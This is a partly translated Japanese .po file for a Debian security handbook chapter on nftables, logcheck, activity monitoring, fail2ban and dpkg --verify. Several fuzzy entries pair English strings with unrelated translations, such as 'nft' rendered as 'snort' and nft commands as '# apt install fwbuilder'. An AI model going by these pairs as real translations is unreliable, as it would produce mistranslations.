"\t\tcounter packets 0 bytes 0 return\n"
"\t}\n"
"\n"
"\tchain DOCKER-ISOLATION-STAGE-2 {\n"
"\t\toifname \"docker0\" counter packets 0 bytes 0 drop\n"
"\t\tcounter packets 0 bytes 0 return\n"
"\t\toifname \"docker0\" counter packets 0 bytes 0 drop\n"
"\t\tcounter packets 0 bytes 0 return\n"
"\t}\n"
"\n"
"\tchain FORWARD {\n"
"\t\ttype filter hook forward priority filter; policy drop;\n"
"\t\tcounter packets 0 bytes 0 jump DOCKER-USER\n"
"\t\tcounter packets 0 bytes 0 jump DOCKER-ISOLATION-STAGE-1\n"
"\t\toifname \"docker0\" ct state related,established counter packets 0 bytes 0 accept\n"
"\t\toifname \"docker0\" counter packets 0 bytes 0 jump DOCKER\n"
"\t\tiifname \"docker0\" oifname != \"docker0\" counter packets 0 bytes 0 accept\n"
"\t\tiifname \"docker0\" oifname \"docker0\" counter packets 0 bytes 0 accept\n"
"\t\tcounter packets 0 bytes 0 jump DOCKER-USER\n"
"\t\tcounter packets 0 bytes 0 jump DOCKER-ISOLATION-STAGE-1\n"
"\t\toifname \"docker0\" ct state established,related counter packets 0 bytes 0 accept\n"
"\t\toifname \"docker0\" counter packets 0 bytes 0 jump DOCKER\n"
"\t\tiifname \"docker0\" oifname != \"docker0\" counter packets 0 bytes 0 accept\n"
"\t\tiifname \"docker0\" oifname \"docker0\" counter packets 0 bytes 0 accept\n"
"\t}\n"
"\n"
"\tchain DOCKER-USER {\n"
"\t\tcounter packets 0 bytes 0 return\n"
"\t\tcounter packets 0 bytes 0 return\n"
"\t}\n"
"\n"
"\tchain INPUT {\n"
"\t\ttype filter hook input priority filter; policy accept;\n"
"\t}\n"
"\n"
"\tchain OUTPUT {\n"
"\t\ttype filter hook output priority filter; policy accept;\n"
"\t}\n"
"}\n"
""
msgstr ""
msgid "The tools iptables-nft, ip6tables-nft, arptables-nft, ebtables-nft are versions of iptables that use the nftables API, so users can keep using the old iptables syntax with them, but that is not recommended; these tools should only be used for backwards compatibility."
msgstr ""
# Checked-By: Ryuunosuke Ayanokouzi;
# Tag: L-CFMD;
#, fuzzy
#| msgid "Syntax of iptables and ip6tables"
msgid "Syntax of nft"
msgstr "iptables と ip6tables の構文"
# Checked-By: Ryuunosuke Ayanokouzi;
# Tag: L-CFMD;
#, fuzzy
#| msgid "snort"
msgid "nft"
msgstr "snort"
msgid "The nft commands allow manipulating tables, chains and rules. The table option supports multiple operations: add, create, delete, list and flush. nft add table ip6 mangle adds a new table from the family ip6."
msgstr ""
msgid "To insert a new base chain to the filter table, you can execute the following command (note that the semicolon is escaped with a backslash when using Bash):"
msgstr ""
# Checked-By: Ryuunosuke Ayanokouzi;
# Tag: L-CFMD;
#, fuzzy
#| msgid ""
#| "\n"
#| "# apt install fwbuilder"
msgid "# nft add chain filter input { type filter hook input priority 0 \\; }"
msgstr ""
"\n"
"# apt install fwbuilder"
msgid "Rules are usually added with the following syntax: nft add rule [family] table chain handle handle statement."
msgstr ""
msgid "insert is similar to the add command, but the given rule is prepended to the beginning of the chain or before the rule with the given handle instead of at the end or after that rule. For example, the following command inserts a rule before the rule with handler number 8:"
msgstr ""
# Checked-By: Ryuunosuke Ayanokouzi;
# Tag: L-CFMD;
#, fuzzy
#| msgid ""
#| "\n"
#| "# apt install fwbuilder"
msgid "# nft insert rule filter output position 8 ip daddr 127.0.0.8 drop"
msgstr ""
"\n"
"# apt install fwbuilder"
# Checked-By: Ryuunosuke Ayanokouzi;
#, fuzzy
#| msgid "monitoringlog files"
msgid "/etc/etc/nftables.conf"
msgstr "監視ログファイル"
msgid "The executed nft commands do not make permanent changes to the configuration, so they are lost if they are not saved. The firewall rules are located in /etc/nftables.conf. A simple way to save the current firewall configuration permanently is to execute nft list ruleset > /etc/nftables.conf as root."
msgstr ""
msgid "nft allows many more operations, refer to its manual page nft 8 for more information."
msgstr ""
# Checked-By: Ryuunosuke Ayanokouzi;
msgid "Installing the Rules at Each Boot"
msgstr "起動時にルールを適用する"
# Checked-By: Ryuunosuke Ayanokouzi;
#, fuzzy
#| msgid "logsmonitoring"
msgid "servicenftables.service"
msgstr "ログ監視"
msgid "To enable a default firewall in Debian, you need to store the rules in /etc/nftables.conf and execute systemctl enable nftables as root. You can stop the firewall by executing nft flush ruleset as root."
msgstr ""
# Checked-By: Ryuunosuke Ayanokouzi;
# Tag: PTAL;
#, fuzzy
#| msgid "In other cases, the recommended way is to register the configuration script in an up directive of the /etc/network/interfaces file. In the following example, the script is stored under /usr/local/etc/arrakis.fw."
msgid "In other cases, the recommended way is to register the configuration script in up directive of the /etc/network/interfaces file. In the following example, the script is stored under /usr/local/etc/arrakis.fw."
msgstr "設定スクリプトを /etc/network/interfaces ファイルの up 指示文に登録する方法を推奨します。以下の例では、設定スクリプトは /usr/local/etc/arrakis.fw に保存されています。"
# Checked-By: Ryuunosuke Ayanokouzi;
msgid "interfaces file calling firewall script"
msgstr "ファイアウォールスクリプトを呼び出す interfaces ファイル"
# Checked-By: Ryuunosuke Ayanokouzi;
msgid ""
"auto eth0\n"
"iface eth0 inet static\n"
" address 192.168.0.1\n"
" network 192.168.0.0\n"
" netmask 255.255.255.0\n"
" broadcast 192.168.0.255\n"
" up /usr/local/etc/arrakis.fw"
msgstr ""
"auto eth0\n"
"iface eth0 inet static\n"
" address 192.168.0.1\n"
" network 192.168.0.0\n"
" netmask 255.255.255.0\n"
" broadcast 192.168.0.255\n"
" up /usr/local/etc/arrakis.fw"
# Checked-By: Ryuunosuke Ayanokouzi;
msgid "This obviously assumes that you are using ifupdown to configure the network interfaces. If you are using something else (like NetworkManager or systemd-networkd), then refer to their respective documentation to find out ways to execute a script after the interface has been brought up."
msgstr "見ての通りこの例ではネットワークインターフェースを設定するために ifupdown を使っています。他の方法 (たとえば NetworkManager や systemd-networkd など) を使ってネットワークインターフェースを設定している場合、それぞれの文書を参照して、インターフェースを起動した後にスクリプトを実行する方法を見つけてください。"
# Checked-By: Ryuunosuke Ayanokouzi;
msgid "Supervision: Prevention, Detection, Deterrence"
msgstr "監督、防止、検出、監査"
# Checked-By: Ryuunosuke Ayanokouzi;
msgid "monitoring"
msgstr "監視"
# Checked-By: Ryuunosuke Ayanokouzi;
msgid "Monitoring is an integral part of any security policy for several reasons. Among them, that the goal of security is usually not restricted to guaranteeing data confidentiality, but it also includes ensuring availability of the services. It is therefore imperative to check that everything works as expected, and to detect in a timely manner any deviant behavior or change in quality of the service(s) rendered. Monitoring activity can help detecting intrusion attempts and enable a swift reaction before they cause grave consequences. This section reviews some tools that can be used to monitor several aspects of a Debian system. As such, it completes ."
msgstr "監視はいくつかの理由によっていかなるセキュリティポリシーにおいても不可欠な要素になっています。最たる理由はセキュリティの目標には通常データの機密性を保証するだけでなく、サービスの可用性を保証することも含まれているという理由です。そのため、すべてが想定通りに稼働しているかを確認したり、さまざまな逸脱した挙動や提供しているサービス品質の変化をタイミング良く検出したりすることが不可欠です。監視活動のおかげで、危機的状況に陥る前に不正侵入の試行を検出し迅速に対応することが可能です。この節では、Debian システムのさまざまな側面を監視するために使えるいくつかのツールを概説します。この節はを補完する節です。"
# Checked-By: Ryuunosuke Ayanokouzi;
msgid "Monitoring Logs with logcheck"
msgstr "logcheck を使ったログ監視"
# Checked-By: Ryuunosuke Ayanokouzi;
msgid "logcheck"
msgstr "logcheck"
# Checked-By: Ryuunosuke Ayanokouzi;
#, fuzzy
#| msgid "logsmonitoring"
msgid "log filesmonitoring"
msgstr "ログ監視"
# Checked-By: Ryuunosuke Ayanokouzi;
msgid "monitoringlog files"
msgstr "監視ログファイル"
# Checked-By: Ryuunosuke Ayanokouzi;
#, fuzzy
#| msgid "monitoringlog files"
msgid "filelog file"
msgstr "監視ログファイル"
# Checked-By: Ryuunosuke Ayanokouzi;
# Tag: PTAL;
msgid "The logcheck program monitors log files every hour by default. It sends unusual log messages in emails to the administrator for further analysis."
msgstr "logcheck プログラムはデフォルトでは毎時間ログファイルを監視します。logcheck は不審なログメッセージを電子メールで管理者に送信し、さらなる解析を促します。"
# Checked-By: Ryuunosuke Ayanokouzi;
msgid "The list of monitored files is stored in /etc/logcheck/logcheck.logfiles; the default values work fine if the /etc/rsyslog.conf file has not been completely overhauled."
msgstr "監視対象ファイルのリストは /etc/logcheck/logcheck.logfiles に保存されています。/etc/rsyslog.conf ファイルが完全に書き換えられていない限り、デフォルト値でうまく動作します。"
msgid "/etc/etc/logcheck/logcheck"
msgstr ""
# Checked-By: Ryuunosuke Ayanokouzi;
#, fuzzy
#| msgid "monitoringlog files"
msgid "/etc/etc/rsyslog.conf"
msgstr "監視ログファイル"
# Checked-By: Ryuunosuke Ayanokouzi;
# Ref: https://packages.debian.org/jessie/all/logcheck-database/filelist;
# Ref: # ls -la /etc/logcheck/*paranoid;
msgid "logcheck can work in one of three more or less detailed modes: paranoid, server and workstation. The first one is very verbose, and should probably be restricted to specific servers such as firewalls. The second (and default) mode is recommended for most servers. The last one is designed for workstations, and is even terser (it filters out more messages)."
msgstr "logcheck の動作モードには 3 種類あり、そのうちの 1 つを選びます。具体的に言えば、paranoid、server、workstation から 1 つ選びます。paranoid モードはとても詳細で、paranoid モードを使うのはファイアウォールなどの特定のサーバに限定するべきです。server モードはデフォルトで、多くのサーバでは server モードを使うことを推奨します。workstation モードはワークステーション用に設計されており、かなり簡潔です (より多くのメッセージを除外します)。"
# Checked-By: Ryuunosuke Ayanokouzi;
msgid "In all three cases, logcheck should probably be customized to exclude some extra messages (depending on installed services), unless the admin really wishes to receive hourly batches of long uninteresting emails. Since the message selection mechanism is rather complex, /usr/share/doc/logcheck-database/README.logcheck-database.gz is a required — if challenging — read."
msgstr "どの動作モードを選んだ場合でも、管理者は毎時間のバッチ処理のたびに長くてつまらない電子メールを受け取ることを本当に望むのでなければ、logcheck を (インストール済みサービスに基づき) カスタマイズしていくつかの余分なメッセージを除外するべきです。メッセージ選択ルールはかなり複雑なので、もし挑戦するなら /usr/share/doc/logcheck-database/README.logcheck-database.gz を読むと良いでしょう。"
# Checked-By: Ryuunosuke Ayanokouzi;
msgid "The applied rules can be split into several types:"
msgstr "メッセージに対して適用されるルールは以下に示す種類に分類されます。"
# Checked-By: Ryuunosuke Ayanokouzi;
# Ref: $ zless /usr/share/doc/logcheck-database/README.logcheck-database.gz;
msgid "those that qualify a message as a cracking attempt (stored in a file in the /etc/logcheck/cracking.d/ directory);"
msgstr "クラッキングの試行として分類するメッセージのルール (/etc/logcheck/cracking.d/ ディレクトリ内のファイルに保存します)。"
# Checked-By: Ryuunosuke Ayanokouzi;
# Ref: $ zless /usr/share/doc/logcheck-database/README.logcheck-database.gz;
msgid "those canceling such a qualification (/etc/logcheck/cracking.ignore.d/);"
msgstr "クラッキングの試行として分類されたメッセージの分類を解除するメッセージのルール (/etc/logcheck/cracking.ignore.d/ ディレクトリ内のファイルに保存します)。"
# Checked-By: Ryuunosuke Ayanokouzi;
# Ref: $ zless /usr/share/doc/logcheck-database/README.logcheck-database.gz;
msgid "those classifying a message as a security alert (/etc/logcheck/violations.d/);"
msgstr "セキュリティ警告として分類するメッセージのルール (/etc/logcheck/violations.d/ ディレクトリ内のファイルに保存します)。"
# Checked-By: Ryuunosuke Ayanokouzi;
# Ref: $ zless /usr/share/doc/logcheck-database/README.logcheck-database.gz;
msgid "those canceling this classification (/etc/logcheck/violations.ignore.d/);"
msgstr "セキュリティ警告として分類されたメッセージの分類を解除するメッセージのルール (/etc/logcheck/violations.ignore.d/ ディレクトリ内のファイルに保存します)。"
# Checked-By: Ryuunosuke Ayanokouzi;
# Ref: $ zless /usr/share/doc/logcheck-database/README.logcheck-database.gz;
msgid "finally, those applying to the remaining messages (considered as system events)."
msgstr "その他のメッセージに適用するルール (システムイベントとして分類されます)。"
# Checked-By: Ryuunosuke Ayanokouzi;
msgid "CAUTION Ignoring a message"
msgstr "CAUTION メッセージの無視"
# Checked-By: Ryuunosuke Ayanokouzi;
# Ref: $ zless /usr/share/doc/logcheck-database/README.logcheck-database.gz;
# Ref: $ cat /etc/logcheck/violations.d/su;
# Ref: $ cat /etc/logcheck/violations.d/logcheck;
# Ref: $ cat /etc/logcheck/violations.ignore.d/logcheck-su;
# Tag: L-CFMD;
msgid "Any message tagged as a cracking attempt or a security alert (following a rule stored in a /etc/logcheck/violations.d/myfile file) can only be ignored by a rule in a /etc/logcheck/violations.ignore.d/myfile or /etc/logcheck/violations.ignore.d/myfile-extension file."
msgstr "/etc/logcheck/violations.d/myfile ファイルに保存されているルールに基づいてクラッキング試行やセキュリティ警告として分類されたメッセージの分類を解除するには、/etc/logcheck/violations.ignore.d/myfile または /etc/logcheck/violations.ignore.d/myfile-extension ファイルを使います。"
# Checked-By: Ryuunosuke Ayanokouzi;
# Ref: $ zless /usr/share/doc/logcheck-database/README.logcheck-database.gz;
msgid "A system event is always signaled unless a rule in one of the /etc/logcheck/ignore.d.{paranoid,server,workstation}/ directories states the event should be ignored. Of course, the only directories taken into account are those corresponding to verbosity levels equal or greater than the selected operation mode."
msgstr "/etc/logcheck/ignore.d.{paranoid,server,workstation}/ ディレクトリ内のルールの 1 つによってシステムイベントが無視されなかった場合を除いて、常にシステムイベントは通知されます。もちろん、ここで考慮されるディレクトリは選択された動作モードの冗長性レベル以上の冗長性レベルに対応するディレクトリです。"
# Checked-By: Ryuunosuke Ayanokouzi;
msgid "Monitoring Activity"
msgstr "監視活動"
# Checked-By: Ryuunosuke Ayanokouzi;
msgid "monitoringactivity"
msgstr "監視活動"
# Checked-By: Ryuunosuke Ayanokouzi;
msgid "activity, monitoring"
msgstr "活動監視"
# Checked-By: Ryuunosuke Ayanokouzi;
msgid "In Real Time"
msgstr "リアルタイム監視"
# Checked-By: Ryuunosuke Ayanokouzi;
msgid "top"
msgstr "top"
# Checked-By: Ryuunosuke Ayanokouzi;
msgid "top is an interactive tool that displays a list of currently running processes. The default sorting is based on the current amount of processor use and can be obtained with the P key. Other sort orders include a sort by occupied memory (M key), by total processor time (T key) and by process identifier (N key). The k key allows killing a process by entering its process identifier. The r key allows renicing a process, i.e. changing its priority."
msgstr "top は現在実行中のプロセスのリストを表示する対話型ツールです。デフォルトでは現在のプロセッサ使用量に基づいてソートされ、P キーを押すことで内容を更新することが可能です。他のソート基準として、専有メモリ量 (M キー)、総プロセッサ時間 (T キー)、プロセス ID (N キー) などがあります。k キーに続けてプロセス ID を入力することで、識別子に対応するプロセスを殺すことが可能です。r キーを使ってプロセスの renicing を行うことが可能です、つまり優先度を変更することが可能です。"
# Checked-By: Ryuunosuke Ayanokouzi;
#, fuzzy
#| msgid "When the system seems to be overloaded, top is a great tool to see which processes are competing for processor time or consume too much memory. In particular, it is often interesting to check if the processes consuming resources match the real services that the machine is known to host. An unknown process running as the www-data user should really stand out and be investigated, since it's probably an instance of software installed and executed on the system through a vulnerability in a web application."
msgid "When the system seems to be overloaded, top is a great tool to see which processes are competing for processor time or consume too much memory. In particular, it is often interesting to check if the processes consuming resources match the real services that the machine is known to host. An unknown process running as the www-data user should really stand out and be investigated, since it is probably an instance of software installed and executed on the system through a vulnerability in a web application."
msgstr "システムの負荷が高過ぎる場合、top はプロセッサ時間を奪っていたりメモリを大量に消費しているプロセスを調査する素晴らしいツールになります。特に、リソースを消費しているプロセスがそのマシンでホストされる本物のサービスにふさわしいものであるか否かを確認することは興味深い作業と言えます。www-data ユーザとして実行されている不明なプロセスは特に警戒して調査するべきです。なぜなら、その不明なプロセスはウェブアプリケーションの脆弱性を利用してシステムにインストールおよび実行されたソフトウェアのインスタンスかもしれないからです。"
# Checked-By: Ryuunosuke Ayanokouzi;
# Ref: $ man 1 top;
msgid "top is a very flexible tool and its manual page gives details on how to customize its display and adapt it to one's personal needs and habits."
msgstr "top はとても柔軟性の高いツールで、top のマニュアルページでは表示をカスタマイズする方法とそのカスタマイズの結果を個人的なニーズや習慣に反映させる方法が詳細に説明されています。"
# Checked-By: Ryuunosuke Ayanokouzi;
# Tag: L-CFMD;
msgid "The gnome-system-monitor graphical tool is similar to top and it provides roughly the same features."
msgstr "gnome-system-monitor グラフィカルツールは top とよく似ており、大ざっぱに言って top と同じ機能を備えています。"
# Checked-By: Ryuunosuke Ayanokouzi;
# Tag: L-CFMD;
msgid "gnome-system-monitor"
msgstr "gnome-system-monitor"
# Checked-By: Ryuunosuke Ayanokouzi;
msgid "History"
msgstr "履歴"
# Checked-By: Ryuunosuke Ayanokouzi;
msgid "activity, history"
msgstr "活動履歴"
# Checked-By: Ryuunosuke Ayanokouzi;
msgid "SNMP"
msgstr "SNMP"
# Checked-By: Ryuunosuke Ayanokouzi;
#, fuzzy
#| msgid "Simple Network Management Protocol"
msgid "Simple Network Management ProtocolSNMP"
msgstr "Simple Network Management Protocol"
# Checked-By: Ryuunosuke Ayanokouzi;
#, fuzzy
#| msgid "top"
msgid "cacti"
msgstr "top"
# Checked-By: Ryuunosuke Ayanokouzi;
msgid "Processor load, network traffic and free disk space are information that are constantly varying. Keeping a history of their evolution is often useful in determining exactly how the computer is used."
msgstr "プロセッサの負荷、ネットワークトラフィック、空きディスク領域などの情報は絶えず変化します。これらの情報の経時変化を保存しておけば、コンピュータの使われ方を明らかにする際に役立ちます。"
# Checked-By: Ryuunosuke Ayanokouzi;
msgid "There are many dedicated tools for this task. Most can fetch data via SNMP (Simple Network Management Protocol) in order to centralize this information. An added benefit is that this allows fetching data from network elements that may not be general-purpose computers, such as dedicated network routers or switches."
msgstr "時間変化する情報の保存には専用のツールがたくさんあります。多くのツールは、この種の情報を一元管理するために、SNMP (Simple Network Management Protocol) を介してデータを取得します。SNMP を使うことで、汎用的なコンピュータを除くネットワーク要素 (たとえば専用ネットワークルータやスイッチ) からデータを取得することが可能になるという恩恵があります。"
# Checked-By: Ryuunosuke Ayanokouzi;
# Tag: L-CFMD;
#, fuzzy
#| msgid "This book deals with Munin in some detail (see ) as part of . Debian also provides a similar tool, cacti. Its deployment is slightly more complex, since it is based solely on SNMP. Despite having a web interface, grasping the concepts involved in configuration still requires some effort. Reading the HTML documentation (/usr/share/doc/cacti/html/index.html) should be considered a prerequisite."
msgid "This book deals with Munin in some detail (see ) as part of . Debian also provides a similar tool, cacti. Its deployment is slightly more complex, since it is based solely on SNMP. Despite having a web interface, grasping the concepts involved in configuration still requires some effort. Reading the HTML documentation (/usr/share/doc/cacti/html/Table-of-Contents.html) should be considered a prerequisite."
msgstr "本書では、の中で Munin が詳細に取り上げられています (を参照してください)。さらに Debian には類似のツールである cacti が含まれます。cacti の配備は Munin よりも少し複雑です。なぜなら cacti は SNMP だけに基づいているからです。cacti にはウェブインターフェースが用意されていますが、設定に必要な概念を理解するには少し努力が必要です。事前に HTML 文書 (/usr/share/doc/cacti/html/index.html) を読んでおくことを推奨します。"
# Checked-By: Ryuunosuke Ayanokouzi;
# Tag: L-CFMD;
msgid "ALTERNATIVE mrtg"
msgstr "ALTERNATIVE mrtg"
# Checked-By: Ryuunosuke Ayanokouzi;
# Tag: L-CFMD;
msgid "mrtg"
msgstr "mrtg"
# Checked-By: Ryuunosuke Ayanokouzi;
# Tag: L-CFMD;
msgid "mrtg (in the similarly-named package) is an older tool. Despite some rough edges, it can aggregate historical data and display them as graphs. It includes a number of scripts dedicated to collecting the most commonly monitored data such as processor load, network traffic, web page hits, and so on."
msgstr "mrtg (同名のパッケージに含まれます) は古いツールです。荒削りな面もありますが、mrtg は時系列データを集計し、これをグラフとして表示することが可能です。mrtg は最も一般的に監視されるデータ (たとえばプロセッサの負荷、ネットワークトラフィック、ウェブページのヒットなどの情報) を収集する多数の専用スクリプトを備えています。"
# Checked-By: Ryuunosuke Ayanokouzi;
# Tag: L-CFMD;
msgid "The mrtg-contrib and mrtgutils packages contain example scripts that can be used directly."
msgstr "mrtg-contrib と mrtgutils パッケージには、直接使うことができるスクリプトの例が含まれます。"
msgid "Avoiding Intrusion"
msgstr ""
# Checked-By: Ryuunosuke Ayanokouzi;
msgid "intrusion detection"
msgstr "侵入検知"
# Checked-By: Ryuunosuke Ayanokouzi;
#, fuzzy
#| msgid "MD5"
msgid "brute-force"
msgstr "MD5"
# Checked-By: Ryuunosuke Ayanokouzi;
# Tag: L-CFMD;
#, fuzzy
#| msgid "checksecurity"
msgid "fail2ban"
msgstr "checksecurity"
msgid "Attackers try to get access to servers by guessing passwords, which is why strong passwords must always be used. Even then, you should also establish measures against brute-force attacks. A brute-force attack is an attempt to log into an unauthorized software system by performing multiple login attempts in a short period of time."
msgstr ""
msgid "The best way to stop a brute-force attack is to limit the number of login attempts coming from the same origin, usually by temporarily banning an IP address."
msgstr ""
msgid "Fail2Ban is an intrusion prevention software suite that can be configured to monitor any service that writes login attempts to a log file. It can be found in the package fail2ban."
msgstr ""
msgid "Fail2Ban is configured through a simple protocol by fail2ban-client, which also reads configuration files and issues corresponding configuration commands to the server, fail2ban-server. It has four configuration file types, all stored in /etc/fail2ban/:"
msgstr ""
# Checked-By: Ryuunosuke Ayanokouzi;
#, fuzzy
#| msgid "monitoringlog files"
msgid "/etc/etc/fail2ban/"
msgstr "監視ログファイル"
msgid "fail2ban.conf. Global configuration (such as logging)."
msgstr ""
msgid "filter.d/*.conf. Filters specifying how to detect authentication failures. The Debian package already contains filters for many common programs."
msgstr ""
msgid "action.d/*.conf. Actions defining the commands for banning and “unbanning“ of IP addresses."
msgstr ""
# Checked-By: Ryuunosuke Ayanokouzi;
#, fuzzy
#| msgid "chain"
msgid "jail"
msgstr "チェイン"
msgid "jail.conf. It is where jails, the combinations of filters and actions, are defined."
msgstr ""
msgid "Let us have a look at the configuration of sshd in /etc/fail2ban/jail.conf to better understand how Fail2Ban works..."
msgstr ""
#, fuzzy
#| msgid "logsdisplay"
msgid "SSHfail2ban"
msgstr "ログ表示"
msgid ""
"[...]\n"
"[DEFAULT]\n"
"[...]\n"
"bantime = 10m\n"
"[...]\n"
"findtime = 10m\n"
"[...]\n"
"maxretry = 5\n"
"[...]\n"
"[sshd]\n"
"port = ssh\n"
"logpath = %(sshd_log)s\n"
"backend = %(sshd_backend)s"
msgstr ""
msgid "Fail2Ban will check for failed login attempts for sshd using Python regular expressions defined in /etc/fail2ban/filter.d/sshd.conf against the log file of sshd, which is defined in the variable sshd_log in the file /etc/fail2ban/paths-common.conf. If Fail2Ban detects five failed login attempts within 10 minutes, it will ban the IP address where those attempts originated for 10 minutes."
msgstr ""
msgid "To enable, disable, or configure “jails“, the main configuration file /etc/fail2ban/jail.conf is not supposed to be altered. Instead this is supposed to be done in /etc/fail2ban/jail.d/defaults-debian.conf or files within the same directory."
msgstr ""
msgid "Fail2Ban is a very simple and effective way to protect against the most common brute-force attacks, but it cannot protect against distributed brute-force attacks, which is when an attacker uses a large number of machines spread around the Internet."
msgstr ""
msgid "A good way to provide extra protection against distributed brute force attacks is to artificially increase the login time after each failed attempt."
msgstr ""
# Checked-By: Ryuunosuke Ayanokouzi;
msgid "Detecting Changes"
msgstr "変更検出"
# Checked-By: Ryuunosuke Ayanokouzi;
#, fuzzy
#| msgid "Once the system is installed and configured, and barring security upgrades, there's usually no reason for most of the files and directories to evolve, data excepted. It is therefore interesting to make sure that files actually do not change: any unexpected change would therefore be worth investigating. This section presents a few tools able to monitor files and to warn the administrator when an unexpected change occurs (or simply to list such changes)."
msgid "Once the system is installed and configured, and barring security upgrades, there is usually no reason for most of the files and directories to evolve, data excepted. It is therefore interesting to make sure that files actually do not change: any unexpected change would therefore be worth investigating. This section presents a few tools able to monitor files and to warn the administrator when an unexpected change occurs (or simply to list such changes)."
msgstr "システムのインストールと設定が完了したら、セキュリティアップグレードを行わない限りデータ以外のほとんどのファイルとディレクトリが変化する理由はありません。このため、ファイルが変化していないことを確認することは興味深いです。すなわち、ファイルに対する予想外の変化は調査に値します。この節では、ファイルに対する予想外の変化に備えて、ファイルを監視して管理者に警告する (または単純に変更をリストする) いくつかのツールを紹介します。"
# Checked-By: Ryuunosuke Ayanokouzi;
# Ref: $ man 1 dpkg;
# Tag: L-CFMD;
msgid "Auditing Packages with dpkg --verify"
msgstr "dpkg --verify を使ったパッケージ監視"
# Checked-By: Ryuunosuke Ayanokouzi;
# Ref: $ man 1 dpkg;
# Tag: L-CFMD;
#, fuzzy
#| msgid "dpkgdpkg --verify"
msgid "dpkg--verify"
msgstr "dpkgdpkg --verify"
# Checked-By: Ryuunosuke Ayanokouzi;
# Tag: PTAL;
msgid "GOING FURTHER Protecting against upstream changes"
msgstr "GOING FURTHER Debian 並びにソフトウェア開発元に対する攻撃から手元のシステムを守る"
# Checked-By: Ryuunosuke Ayanokouzi;
# Ref: $ man 1 dpkg;
# Tag: L-CFMD;
#, fuzzy
#| msgid "dpkg --verify is useful in detecting changes to files coming from a Debian package, but it will be useless if the package itself is compromised, for instance if the Debian mirror is compromised. Protecting against this class of attacks involves using APT's digital signature verification system (see ), and taking care to only install packages from a certified origin."
msgid "dpkg --verify and debsums are useful in detecting changes to files coming from a Debian package, but they will be useless if the package itself is compromised, for instance, if the Debian mirror is compromised. Protecting against this class of attacks involves using APT's digital signature verification system (see ), and taking care to only install packages from a certified origin."
msgstr "Debian パッケージの提供するファイルに対する変化を検出する場合には dpkg --verify は役に立ちますが、たとえば Debian アーカイブミラーが不正アクセスを受けたことによりパッケージ自体が不正に改竄された場合には dpkg --verify は役に立ちません。この種の攻撃に対抗するには、APT のデジタル署名照合システムを使い (を参照してください)、認証された発行元からのパッケージだけをインストールするように気を付けることが必要です。"
# Checked-By: Ryuunosuke Ayanokouzi;
# Ref: $ man 1 dpkg;
# Tag: L-CFMD;
msgid "dpkg --verify (or dpkg -V) is an interesting tool since it allows finding what installed files have been modified (potentially by an attacker), but this should be taken with a grain of salt. To do its job it relies on checksums stored in dpkg's own database which is stored on the hard disk (they can be found in /var/lib/dpkg/info/package.md5sums); a thorough attacker will therefore update these files so they contain the new checksums for the subverted files."
msgstr "dpkg --verify (または dpkg -V) は興味深いツールで、(潜在的には攻撃者によって) 変更を加えられたインストール済みファイルを見つけることが可能です。しかしながら、dpkg --verify の結果は疑ってかかるべきです。なぜなら dpkg --verify は変更されたファイルを検出するために dpkg 自身のデータベースに保存されたチェックサムを使っており、このデータベースはハードディスク上 (/var/lib/dpkg/info/package.md5sums) に保存されているからです。このため、完璧主義の攻撃者なら改竄したファイルに対応する新しいチェックサムを使ってデータベースファイルを更新するでしょう。"
# Checked-By: Ryuunosuke Ayanokouzi;
# Ref: $ man 1 debsums;
# Tag: L-CFMD;
#, fuzzy
#| msgid "debsums"
msgid ".md5sums"
msgstr "debsums"
# Checked-By: Ryuunosuke Ayanokouzi;
msgid "BACK TO BASICS File fingerprint"
msgstr "BACK TO BASICS ファイルの指紋"
# Checked-By: Ryuunosuke Ayanokouzi;
#, fuzzy
#| msgid "logsmonitoring"
msgid "filefingerprint"
msgstr "ログ監視"
# Checked-By: Ryuunosuke Ayanokouzi;
msgid "fingerprint"
msgstr "指紋"
# Checked-By: Ryuunosuke Ayanokouzi;
#, fuzzy
#| msgid "chain"
msgid "hashsum"
msgstr "チェイン"
# Checked-By: Ryuunosuke Ayanokouzi;
#, fuzzy
#| msgid "control sum"
msgid "control sumhashsum"
msgstr "コントロールサム"
# Checked-By: Ryuunosuke Ayanokouzi;
msgid "MD5"
msgstr "MD5"
# Checked-By: Ryuunosuke Ayanokouzi;
msgid "SHA1"
msgstr "SHA1"
# Checked-By: Ryuunosuke Ayanokouzi;
#, fuzzy
#| msgid "As a reminder: a fingerprint is a value, often a number (even though in hexadecimal notation), that contains a kind of signature for the contents of a file. This signature is calculated with an algorithm (MD5 or SHA1 being well-known examples) that more or less guarantee that even the tiniest change in the file contents implies a change in the fingerprint; this is known as the “avalanche effect”. This allows a simple numerical fingerprint to serve as a litmus test to check whether the contents of a file have been altered. These algorithms are not reversible; in other words, for most of them, knowing a fingerprint doesn't allow finding the corresponding contents. Recent mathematical advances seem to weaken the absoluteness of these principles, but their use is not called into question so far, since creating different contents yielding the same fingerprint still seems to be quite a difficult task."
msgid "As a reminder: a fingerprint is a value, often a number (even though in hexadecimal notation), that contains a kind of signature for the contents of a file. This signature is calculated with an algorithm, e.g. MD5 via md5sum or SHA* via various sha* commands being well-known examples, that more or less guarantee that even the tiniest change in the file contents implies a change in the fingerprint; this is known as the “avalanche effect”. This allows a simple numerical fingerprint to serve as a litmus test to check whether the contents of a file have been altered. These algorithms are not reversible; in other words, for most of them, knowing a fingerprint doesn't allow finding the corresponding contents. Recent mathematical advances seem to weaken the absoluteness of these principles, but their use is not called into question so far, since creating different contents yielding the same fingerprint still seems to be quite a difficult task."
msgstr "備忘録的になりますが、ここで指紋とはファイルの内容に対するある種の署名を含む値です (通常は 16 進数で表記された数です)。この署名はあるアルゴリズムを使って計算されます。指紋計算に使われるアルゴリズムはファイルに対して行われた小さな変化により指紋が変化することがおおよそ保証されているアルゴリズムです (MD5 や SHA1 がよく知られているアルゴリズムです)。そしてこの特徴は「アバランシェ効果」として知られています。アバランシェ効果のおかげで、簡単な数字で表される指紋がファイルの内容の変化を検出するためのリトマス試験として機能することになります。指紋計算に使われるアルゴリズムは不可逆です。言い換えれば、ほとんどの指紋計算アルゴリズムに対して指紋からその指紋が得られる内容を発見することは不可能であることが知られています。最近の数学的な進歩により、アルゴリズムの原理の絶対性が揺らいでいるように見えます。しかしこれはアルゴリズムを使うことに対して疑問を投げかけるものではありません。なぜなら、同じ指紋を持つ異なる内容を作成することはまだかなり難しい作業だからです。"
# Checked-By: Ryuunosuke Ayanokouzi;
msgid "Running dpkg -V will verify all installed packages and will print out a line for each file with a failing test. The output format is the same as the one of rpm -V where each character denotes a test on some specific meta-data. Unfortunately dpkg does not store the meta-data needed for most tests and will thus output question marks for them. Currently only the checksum test can yield a \"5\" on the third character (when it fails)."
